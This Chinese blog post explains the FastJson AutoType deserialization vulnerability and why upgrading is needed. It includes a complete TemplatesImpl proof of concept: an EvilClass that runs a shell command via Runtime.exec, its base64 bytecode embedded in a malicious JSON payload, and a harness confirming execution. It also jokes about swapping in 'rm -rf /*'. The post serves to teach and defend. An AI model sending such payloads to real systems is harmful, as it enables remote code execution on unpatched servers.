什么是FastJson中AutoType反序列化漏洞?_hosaos的博客

频繁出现的反序列化漏洞

最近公司的小伙伴们收到了一波安全工单，因为FastJson存在高危漏洞，要求将FastJson版本号升级到1.2.69及以上

漏洞描述如下

在Fastjson<=1.2.68的版本中，通过新的Gadgets链绕过autoType开关，在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制，实现了反序列化漏洞利用的远程代码执行效果，同时，此次修复补丁也补充了autoType黑名单，Fastjson历史版本中，autoType安全黑名单已被多次绕过，官方也一直在持续补充增强该黑名单，并在1.2.68版本中引入一个safeMode的配置，配置safeMode后，无论白名单和黑名单，都不支持autoType，不过默认并未开启该配置。由于autoType开关漏洞利用门槛较低，可绕过autoType限制，风险影响较大，建议尽快更新漏洞修复版本或采用临时缓解措施加固系统

从漏洞描述中可以大致猜测到，漏洞的产生和绕过AutoType安全校验有分不开的关系

parse()及parseObject()

FastJson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject()，那么这两者有什么区别呢？

定义User测试类如下

package com.company.project.bean;

import java.io.Serializable;


public class User  implements Serializable {
    private static final long serialVersionUID = -8088742348807697485L;

    private String userName;

    public User() {
        System.out.println("call construct method");
    }

    public String getUserName() {
        System.out.println("call get method getUserName");
        return userName;
    }

    public void setUserName(String userName) {
        System.out.println("call set  method setUserName");
        this.userName = userName;
    }
}

fastJson中parse方法或者parseObject都可以将JSON串转化成Java对象，定义如下序列化后的Json串，做测试

public static void main(String[] args) {
     String userJson = "{\"@type\":\"com.company.project.bean.User\",\"userName\":\"testUserName\"}";

     //parseObject测试
     Object object1 = JSON.parseObject(userJson);
     System.out.println("=============");
     //parse
     Object object2 = JSON.parse(userJson);
 }

控制台中输出结果如下

根据控制台输出，可以看到parseObject方法会调用getter方法，而parse方法却不会，为什么呢？

parse()及parseObject()进行反序列化时的细节区别在于，parse() 会识别并调用目标类的 setter 方法，而 parseObject() 由于要将返回值转化为JSONObject，多执行了 JSON.toJSON(obj)，所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject

也就是说使用AutoType时，若使用parseObject方法，会触发该类的构造函数、get、set方法

看了半天就说了这个？这玩意和漏洞有啥关系？

AutoType及安全校验

要了解FastJson的AutoType反序列化漏洞，有必要先说明下FastJson中的AutoType是什么，有什么用

Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

AutoType安全校验

知道了AutoType的作用后，假设如下场景，

1. 服务端接收到的请求Json串中包含了指定恶意代码Class的@Type，
2. 服务端调用JSON.parseObject()时触发了该Class中的构造函数、或者是getter、setter方法中的恶意代码

这不就是反序列化攻击的思路了？

当然FastJson的开发者也意识到了这一点，这才诞生了AutoType的黑名单机制，以及SafeMode安全机制

AutoType黑名单机制

既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的，自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中，FastJson中通过Hash算法，将一系列存在安全风险的Class全路径的Hash值存储在黑名单中，代码如下

在传入指定类型Class时，会首先判断该类是否在黑名单中，如果是，则抛出异常，代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中

既然是黑名单，那么其中的风险类自然是要在不断迭代演进中添加的，不可能一步到位，屏蔽所有风险类，这也是为什么FastJson频繁升级来修复漏洞的原因

SafeMode安全机制

fastjson在1.2.68及之后的版本中引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化Gadgets类变种攻击

对应到fastJson反序列化中的代码实现，代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中

攻击思路

现在回头再看一眼漏洞描述，问题是不是就很清晰了，漏洞在两种情况下容易被利用

1. 执行AutoType安全校验，但新发现了一个黑名单中不存在的Class，利用该Class反序列化时执行的恶意代码进行攻击
2. 通过某种方法，绕过AutoType安全校验

反序列化攻击模拟

为了让大家更好的理解反序列化漏洞，还是举个实际例子来说明吧，为了方便演示漏洞，下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该漏洞)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击

TemplatesImpl攻击调用链路

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列漏洞的一个第三方类

上文已经提到过，JSON串中传入指定类型Class时，调用parseObject方法反序列时会调用该Class的get、set及构造方法，那么如果指定JSON串中type为TemplatesImpl时

1. TemplatesImpl中存在一个get方法为getOutputProperties()，其在调用FastJson.parseObject()序列化为Java对象时会被调用
2. getOutputProperties内部调用了newTransformer()方法，newTransformer()内部调用了getTransletInstance()方法获取Translet对象
   3、获取Translet对象时，其通过内部的私有变量_bytecodes生成返回的Translet对象

这里这个_bytecodes私有变量就是整个攻击设计的核心所在，虽然FastJson默认只能反序列化公有属性，但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码，同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性，那么_bytecodes就可以是任意指定代码

也就是说，如果事先定义好了Translet返回Class类的内容，并且在自定义的Translet类的构造函数中实现攻击代码，并且把攻击代码转化成字节码，传入TemplatesImpl的私有变量_bytecodes中，那么反序列化生成TemplatesImpl时就会使用我们自定义的字节码来生成Translet类，从而触发Translet构造函数中的攻击代码

所以攻击思路很明显了，分为两步

1. 自定义Translet攻击类，在构造函数中实现攻击代码
2. 根据步骤1生成的字节码来构造攻击JSON串
3. 调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);反序列化对象从而触发攻击，这里必须使用支持私有变量反序列化的Feature，虽然条件有点苛刻，但这只是众多攻击链路中较为易懂的一种

攻击类Translet生成

定义如下攻击类EvilClass，继承自AbstractTranslet，在构造函数中写入自己的攻击代码，这里演示只做新增一个文件的操作(你要改成rm -rf /*我也没意见)

package com.company.project.bean;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {

    public EvilClass() throws IOException {
        namesArray = new String[]{"1", "2"};
        //简单模拟攻击代码操作，生成一个txt文件
        Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

}

构造攻击JSON串

然后将编译后的.class字节码文件进行base64编码，最后使用生成的字节码的base64编码来生成攻击JSON串

FastJson提取byte[]数组字段值时会进行Base64解码，所以我们构造payload时需要对 _bytecodes 进行Base64处理

 public static void  test_autoTypeDeny() throws Exception {
        final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);

    }

最后，完整的恶意JSON串如下

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":[
        "yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],
    '_name':'a.b',
    '_tfactory':{
    },
    "_outputProperties":{
    },
    "_name":"a",
    "_version":"1.0",
    "allowedProtocols":"all"
}

这个JSON串中最核心的部分是_bytecodes，它是要执行的恶意字节码的base64编码，@type是指定的解析类，至于_name、_outputProperties等属性都是TemplatesImpl的私有变量，为了避免反序列化时报错，随意传入一个值

攻击模拟

现在假设系统接收到了上述构造的恶意JSON串，调用FastJSON的反序列化操作，如下所示，在反序列化操作的前后分别打印文件是否存在，以此来印证攻击代码(简单的生成一个文件)是否生效

public static void main(String[] args) {
        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        //开启autoType支持
        File fileBeforeAttack = new File("/tmp/evilAttack.txt");
        System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists());
        //反序列化传入的攻击json串
        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
        File fileAfterAttack = new File("/tmp/evilAttack.txt");
        System.out.println("after JSON.parseObject:"+fileAfterAttack.exists());
    }

执行后命令行中输出如下，说明我们构造的恶意代码被成功执行

最后debug到恶意代码执行处，看下反序列化时的调用链路，如图所示

最底层触发的入口为JSON.parseObject，后面反序列化时调用TemplatesImpl#getOutProperties方法，最终使用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class，从触发到自定义类的构造函数中的恶意代码。

当然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类

不管如何，我们在使用开源的第三方库时，需关注官方的版本迭代，防止潜在的漏洞产生危害！

写在最后

在接到FastJson安全漏洞升级工单的时候，对着修复指南，三下五除二就把FastJson版本给升级了，但调侃一下，这种基本操作不就是

即使漏洞修复完了，我内心其实还是有疑问的，不明白这个漏洞到底会有什么影响，漏洞产生原因又是什么，究其根本原因还是自己不明白其中原理的缘故，这也算是修复漏洞后一个内心的小疙瘩吧

正好也借此机会了解了FastJson的漏洞原理，其实最新的漏洞也和AutoType有关，只不过是通过一定巧妙的构造绕过了AutoType的安全校验，但是基本原理、思路是一通百通的